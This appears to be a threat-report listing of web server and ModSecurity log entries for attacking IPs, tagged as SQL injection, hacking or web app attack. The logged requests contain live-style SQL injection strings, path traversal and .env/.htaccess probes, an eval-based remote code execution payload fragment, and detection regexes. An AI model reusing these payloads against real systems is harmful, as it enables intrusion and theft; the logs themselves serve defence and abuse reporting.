|
🇭🇰
42.201.192.40
|
|
[Wed Sep 09 04:20:54.935134 2026] [security2:error] [pid 12687:tid 12833] [client 42.201.192.40:1387 ...
show more
[Wed Sep 09 04:20:54.935134 2026] [security2:error] [pid 12687:tid 12833] [client 42.201.192.40:13875] [client 42.201.192.40] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "nwcdinc.com"] [uri "/pages/hose-clamps-std.-and-all-stainless-steel-p2898.html"] [unique_id "aqEW5qmraVsUO9zPJfvs1gAAAuU"], referer: https://nwcdinc.com/
show less
|
Hacking
|
|
🇨🇴
201.233.138.47
|
|
[Wed Sep 09 04:23:05.852760 2026] [security2:error] [pid 12688:tid 12880] [client 201.233.138.47:423 ...
show more
[Wed Sep 09 04:23:05.852760 2026] [security2:error] [pid 12688:tid 12880] [client 201.233.138.47:42355] [client 201.233.138.47] ModSecurity: Warning. detected XSS using libinjection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "37"] [id "941100"] [rev "2"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: /pages/ONEILL-PROM-a8889.html?view_archive=No found within ARGS:return: /pages/ONEILL-PROM-a8889.html?view_archive=No"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname "holtindependent.com"] [uri "/subscribe/customer_login.php"] [unique_id "aqEXaXouqJQoKk7-vDgP7gAAA18"]
show less
|
SQL Injection
|
|
🇺🇸
20.102.47.199
|
|
[Wed Sep 09 04:23:06.795400 2026] [security2:error] [pid 12688:tid 12912] [client 20.102.47.199:7300 ...
show more
[Wed Sep 09 04:23:06.795400 2026] [security2:error] [pid 12688:tid 12912] [client 20.102.47.199:7300] [client 20.102.47.199] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "69.16.227.254"] [uri "/.env.local"] [unique_id "aqEXanouqJQoKk7-vDgP8AAAA2w"]
show less
|
Hacking
|
|
🇧🇩
103.152.105.14
|
|
[Wed Sep 09 04:23:29.561385 2026] [security2:error] [pid 12689:tid 12941] [client 103.152.105.14:399 ...
show more
[Wed Sep 09 04:23:29.561385 2026] [security2:error] [pid 12689:tid 12941] [client 103.152.105.14:39986] [client 103.152.105.14] ModSecurity: Warning. detected XSS using libinjection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "37"] [id "941100"] [rev "2"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: /pages/ONeill-Chamber-Of-Commerce-Ribbon-Cutting-a27444.html?view_archive=No found within ARGS:return: /pages/ONeill-Chamber-Of-Commerce-Ribbon-Cutting-a27444.html?view_archive=No"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname "holtindependent.com"] [uri "/subscribe/customer_login.php"] [unique_id "aqEXgRE68dh3Uqbh0dCC4AAABBo"]
show less
|
SQL Injection
|
|
🇫🇷
109.20.104.8
|
|
[Tue Sep 08 19:43:46.412002 2026] [security2:error] [pid 5333:tid 5349] [client 109.20.104.8:43528] ...
show more
[Tue Sep 08 19:43:46.412002 2026] [security2:error] [pid 5333:tid 5349] [client 109.20.104.8:43528] [client 109.20.104.8] ModSecurity: Warning. detected SQLi using libinjection with fingerprint '1UEsc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: 1UEsc found within ARGS:itemid: 40168 UNION ALL SELECT 'rcqylaxeoltierbledmrhldbqskcjgiy'-- qvpetw"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "supplylinedemo.net"] [uri "/subscribe/show_product.php"] [unique_id "aqCdsuhkuLB_rX34VEqhJwAAAAw"]
show less
|
Web App Attack
|
|
🇫🇷
176.158.180.78
|
|
[Tue Sep 08 19:44:03.182974 2026] [security2:error] [pid 5333:tid 5373] [client 176.158.180.78:52650 ...
show more
[Tue Sep 08 19:44:03.182974 2026] [security2:error] [pid 5333:tid 5373] [client 176.158.180.78:52650] [client 176.158.180.78] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "supplylinedemo.net"] [uri "/subscribe/show_product.php"] [unique_id "aqCdw-hkuLB_rX34VEqhNQAAACQ"]
show less
|
Hacking
|
|
🇫🇷
176.176.84.52
|
|
[Tue Sep 08 19:44:16.309406 2026] [security2:error] [pid 5333:tid 5380] [client 176.176.84.52:41732] ...
show more
[Tue Sep 08 19:44:16.309406 2026] [security2:error] [pid 5333:tid 5380] [client 176.176.84.52:41732] [client 176.176.84.52] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:alter|create|drop)[[:space:]]*(?:column|database|procedure|table) |delete[[:space:]] .{1,100}+ update [a-z0-9]+ set .{1,100}+=|union all select |\\\\bunion\\\\b.{1,100}?\\\\bselect\\\\b.*[a-z0-9]+ from |select (?:load_file|char ?\\\\()|(?:insert|remark)tes ..." at ARGS:itemid. [file "/etc/apache2/conf.d/modsec2/10_asl_rules.conf"] [line "318"] [id "340144"] [rev "35"] [msg "Atomicorp.com UNSUPPORTED DELAYED Rules: Generic SQL injection protection 2"] [data "get /subscribe/show_product.php?sourceid=4149&db_type=product&itemid=%29%2f**%2fand%2f**%2f%281879761284%3d1879761284%2f**%2funion%2f**%2fall%2f**%2fselect%2f**%2f%c3%80%c2%a7%c3%80%c2%a2%252527rcqylaxeoltierbledmrhldbqskcjgiy%c3%80%c2%a7%c3%80%c2%a2%252527--%2f**%2fqvpetw http/1.1"] [severity "CRITICAL"] [hostname "supplylinedemo.net"] [uri "/subscribe/show_prod
show less
|
Hacking
|
|
🇫🇷
88.174.171.41
|
|
[Tue Sep 08 19:44:29.690562 2026] [security2:error] [pid 5334:tid 5406] [client 88.174.171.41:56010] ...
show more
[Tue Sep 08 19:44:29.690562 2026] [security2:error] [pid 5334:tid 5406] [client 88.174.171.41:56010] [client 88.174.171.41] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:alter|create|drop)[[:space:]]*(?:column|database|procedure|table) |delete[[:space:]] .{1,100}+ update [a-z0-9]+ set .{1,100}+=|union all select |\\\\bunion\\\\b.{1,100}?\\\\bselect\\\\b.*[a-z0-9]+ from |select (?:load_file|char ?\\\\()|(?:insert|remark)tes ..." at ARGS:sourceid. [file "/etc/apache2/conf.d/modsec2/10_asl_rules.conf"] [line "318"] [id "340144"] [rev "35"] [msg "Atomicorp.com UNSUPPORTED DELAYED Rules: Generic SQL injection protection 2"] [data "get /subscribe/show_product.php?sourceid=%29%2f**%2fand%2f**%2f%281663471695%3d1663471695%2f**%2funion%2f**%2fall%2f**%2fselect%2f**%2f%c3%80%c2%a7%c3%80%c2%a2%252527axdhfdftemfeqxrrksqelejhafmyvgxj%c3%80%c2%a7%c3%80%c2%a2%252527--%2f**%2f6bqpds&db_type=product&itemid=40168 http/1.1"] [severity "CRITICAL"] [hostname "supplylinedemo.net"] [uri "/subscribe/show_p
show less
|
SQL Injection
|
|
🇫🇷
176.149.243.62
|
|
[Tue Sep 08 19:44:45.016821 2026] [security2:error] [pid 5335:tid 5475] [client 176.149.243.62:35352 ...
show more
[Tue Sep 08 19:44:45.016821 2026] [security2:error] [pid 5335:tid 5475] [client 176.149.243.62:35352] [client 176.149.243.62] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:alter|create|drop)[[:space:]]*(?:column|database|procedure|table) |delete[[:space:]] .{1,100}+ update [a-z0-9]+ set .{1,100}+=|union all select |\\\\bunion\\\\b.{1,100}?\\\\bselect\\\\b.*[a-z0-9]+ from |select (?:load_file|char ?\\\\()|(?:insert|remark)tes ..." at ARGS:sourceid. [file "/etc/apache2/conf.d/modsec2/10_asl_rules.conf"] [line "318"] [id "340144"] [rev "35"] [msg "Atomicorp.com UNSUPPORTED DELAYED Rules: Generic SQL injection protection 2"] [data "get /subscribe/show_product.php?sourceid=%29%2f**%2fand%2f**%2f%281507849354%3d1507849354%2f**%2funion%2f**%2fall%2f**%2fselect%2f**%2f%27axdhfdftemfeqxrrksqelejhafmyvgxj%27%2cnull--%2f**%2f9m642j&db_type=product&itemid=40168 http/1.1"] [severity "CRITICAL"] [hostname "supplylinedemo.net"] [uri "/subscribe/show_product.php"] [unique_id "aqCd7A96zbOZTxsXNLop1A
show less
|
Hacking
|
|
🇫🇷
176.138.145.133
|
|
[Tue Sep 08 19:45:04.141761 2026] [security2:error] [pid 5334:tid 5401] [client 176.138.145.133:3629 ...
show more
[Tue Sep 08 19:45:04.141761 2026] [security2:error] [pid 5334:tid 5401] [client 176.138.145.133:36296] [client 176.138.145.133] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's)&(s' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s)&(s found within ARGS:db_type: ') AND ('hqicud'='hqicud'AND EXTRACTVALUE(2869,CONCAT(0x7e,((SELECT (ELT(2869=2869,1)))),0x7e))"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "supplylinedemo.net"] [uri "/subscribe/show_product.php"] [unique_id "aqCeAPaWLZFQ2NNrn-XX3QAAAEw"]
show less
|
Web App Attack
|
|
🇧🇷
191.189.26.42
|
|
[Tue Sep 08 20:01:42.708967 2026] [security2:error] [pid 5334:tid 5421] [client 191.189.26.42:13571] ...
show more
[Tue Sep 08 20:01:42.708967 2026] [security2:error] [pid 5334:tid 5421] [client 191.189.26.42:13571] [client 191.189.26.42] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js/js_vars.php?banner_height=204&banner_width=0&bannerid=2290&orientation=&menu_height=0&menu_top_margin=-50&top_margin=0&top_margin_adj=0&story_display=&are_regular_stories=&menu_orientation=&page_align=center&site_width=1440&responsive=Yes&num_products=3&filename=../images/backgrounds/360/2755_background.jpg&v_menu_width=0&stripe_bgid=&padding_top=13&padding_bottom=20&border_size=0&border_top=0&border_bottom=0&stripe_border_top=0&stripe_border_bottom=0&site_..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-mu
show less
|
Web App Attack
|
|
🇹🇼
35.221.196.71
|
|
[Tue Sep 08 20:03:51.103876 2026] [proxy_http:error] [pid 5333:tid 5364] [client 35.221.196.71:14834 ...
show more
[Tue Sep 08 20:03:51.103876 2026] [proxy_http:error] [pid 5333:tid 5364] [client 35.221.196.71:14834] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
show less
|
Hacking
|
|
🇨🇴
190.102.121.205
|
|
[Tue Sep 08 20:06:48.409140 2026] [security2:error] [pid 5335:tid 5461] [client 190.102.121.205:3852 ...
show more
[Tue Sep 08 20:06:48.409140 2026] [security2:error] [pid 5335:tid 5461] [client 190.102.121.205:3852] [client 190.102.121.205] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js/js_vars.php?banner_height=204&banner_width=0&bannerid=2290&orientation=&menu_height=0&menu_top_margin=-50&top_margin=0&top_margin_adj=0&story_display=&are_regular_stories=&menu_orientation=&page_align=center&site_width=1440&responsive=Yes&num_products=3&filename=../images/backgrounds/360/2755_background.jpg&v_menu_width=0&stripe_bgid=&padding_top=13&padding_bottom=20&border_size=0&border_top=0&border_bottom=0&stripe_border_top=0&stripe_border_bottom=0&site_..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform
show less
|
Web App Attack
|
|
🇺🇸
34.24.106.5
|
|
[Tue Sep 08 20:10:09.515854 2026] [security2:error] [pid 5335:tid 5484] [client 34.24.106.5:39986] [ ...
show more
[Tue Sep 08 20:10:09.515854 2026] [security2:error] [pid 5335:tid 5484] [client 34.24.106.5:39986] [client 34.24.106.5] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "washingtonstreetbooksentertainmentmuseum.com"] [uri "/@fs/.env"] [unique_id "aqCj4Q96zbOZTxsXNLovjgAAAKs"]
show less
|
Hacking
|
|
🇯🇵
43.153.188.146
|
|
43.153.188.146 - - [08/Sep/2026:08:19:36 -0400] "GET /content/page.php?sectionid=488%25%27%20and%201 ...
show more
43.153.188.146 - - [08/Sep/2026:08:19:36 -0400] "GET /content/page.php?sectionid=488%25%27%20and%201%3D2%20and%20%27%25%27%3D%27 HTTP/1.1" 200 20396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120 Safari/537.36"
show less
|
SQL Injection
|
|
🇺🇸
34.96.36.18
|
|
[Tue Sep 08 08:22:10.395134 2026] [security2:error] [pid 21326:tid 21711] [client 34.96.36.18:24263] ...
show more
[Tue Sep 08 08:22:10.395134 2026] [security2:error] [pid 21326:tid 21711] [client 34.96.36.18:24263] [client 34.96.36.18] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess6b8e6584895c42769f10aab7f0694b0c72afe0cd593e477196f1f1d2c5c268d1806ff46b5440415890d78584306f0aa9"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "72.52.134.43"] [uri "/.htaccess6b8e6584895c42769f10aab7f0694b0c72afe0cd593e477196f1f1d2c5c268d1806ff46b5440415890d78584306f0aa9"] [unique_id "ap_98gp3mlCKJI_gLEBCrAAAAaM"]
show less
|
Hacking
|
|
🇮🇪
3.248.254.64
|
|
[Tue Sep 08 08:29:28.679143 2026] [proxy_http:error] [pid 21325:tid 21586] [client 3.248.254.64:4597 ...
show more
[Tue Sep 08 08:29:28.679143 2026] [proxy_http:error] [pid 21325:tid 21586] [client 3.248.254.64:45972] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
show less
|
Hacking
|
|
🇬🇧
77.75.120.37
|
|
77.75.120.37 - - [08/Sep/2026:08:31:21 -0400] "GET /subscribe/show_cat.php?categoryid=1619%27+%2f**% ...
show more
77.75.120.37 - - [08/Sep/2026:08:31:21 -0400] "GET /subscribe/show_cat.php?categoryid=1619%27+%2f**%2f%2f**%2fUnIoN+%2f**%2f%2f**%2fsElEcT+NULL%2cNULL%2cNULL%2cNULL%2cNULL--+- HTTP/1.1" 404 - "https://slotcarstore.net/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Vivaldi/6.5.3206.50"
show less
|
SQL Injection
|
|
🇺🇸
34.42.169.251
|
|
[Tue Sep 08 08:32:01.157141 2026] [security2:error] [pid 21324:tid 21556] [client 34.42.169.251:3364 ...
show more
[Tue Sep 08 08:32:01.157141 2026] [security2:error] [pid 21324:tid 21556] [client 34.42.169.251:33640] [client 34.42.169.251] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "174"] [id "933160"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval(user_code); Promise.resolve(val).then(function(v) { var res_str = (typeof v === 'object') ? JSON.stringify(v) : String(v); try { res_str = zlib.deflateSync(res_str); } catch(e) {} var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString('hex'); reject(Object.assign(new Error('RCE_RES'), { digest: res_hex })); }).catch(functio
show less
|
Web App Attack
|
|
🇺🇸
136.108.55.107
|
|
[Tue Sep 08 08:33:00.080751 2026] [security2:error] [pid 21325:tid 21639] [client 136.108.55.107:566 ...
show more
[Tue Sep 08 08:33:00.080751 2026] [security2:error] [pid 21325:tid 21639] [client 136.108.55.107:56668] [client 136.108.55.107] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "174"] [id "933160"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval(user_code); Promise.resolve(val).then(function(v) { var res_str = (typeof v === 'object') ? JSON.stringify(v) : String(v); try { res_str = zlib.deflateSync(res_str); } catch(e) {} var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString('hex'); reject(Object.assign(new Error('RCE_RES'), { digest: res_hex })); }).catch(funct
show less
|
Hacking
|
|
🇯🇵
43.167.176.61
|
|
43.167.176.61 - - [08/Sep/2026:08:46:47 -0400] "GET /subscribe/show_cat.php?brandid=1092%27%20or%20% ...
show more
43.167.176.61 - - [08/Sep/2026:08:46:47 -0400] "GET /subscribe/show_cat.php?brandid=1092%27%20or%20%281%3D1%29%20and%20%27a%27%3D%27a HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120 Safari/537.36"
show less
|
Hacking
|
|
🇬🇧
68.183.42.85
|
|
[Tue Sep 08 08:46:56.476451 2026] [proxy_fcgi:error] [pid 21326:tid 21615] [client 68.183.42.85:5387 ...
show more
[Tue Sep 08 08:46:56.476451 2026] [proxy_fcgi:error] [pid 21326:tid 21615] [client 68.183.42.85:53875] AH01071: Got error 'Primary script unknown'
show less
|
Hacking
|
|
🇯🇵
34.84.149.145
|
|
[Tue Sep 08 08:59:54.480024 2026] [security2:error] [pid 21326:tid 21646] [client 34.84.149.145:1039 ...
show more
[Tue Sep 08 08:59:54.480024 2026] [security2:error] [pid 21326:tid 21646] [client 34.84.149.145:10396] [client 34.84.149.145] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "72.52.134.179"] [uri "/backend/.env"] [unique_id "aqAGygp3mlCKJI_gLEBL0QAAAYs"]
show less
|
Hacking
|
|
🇺🇸
159.223.192.238
|
|
[Tue Sep 08 09:04:11.546277 2026] [proxy_http:error] [pid 21325:tid 21690] [client 159.223.192.238:3 ...
show more
[Tue Sep 08 09:04:11.546277 2026] [proxy_http:error] [pid 21325:tid 21690] [client 159.223.192.238:33602] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
show less
|
Hacking
|
|
🇳🇱
34.178.124.87
|
|
[Tue Sep 08 09:04:51.522607 2026] [security2:error] [pid 21326:tid 21621] [client 34.178.124.87:6019 ...
show more
[Tue Sep 08 09:04:51.522607 2026] [security2:error] [pid 21326:tid 21621] [client 34.178.124.87:60194] [client 34.178.124.87] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "69.16.227.38"] [uri "/static../.env"] [unique_id "aqAH8wp3mlCKJI_gLEBM0wAAAYM"]
show less
|
Web App Attack
|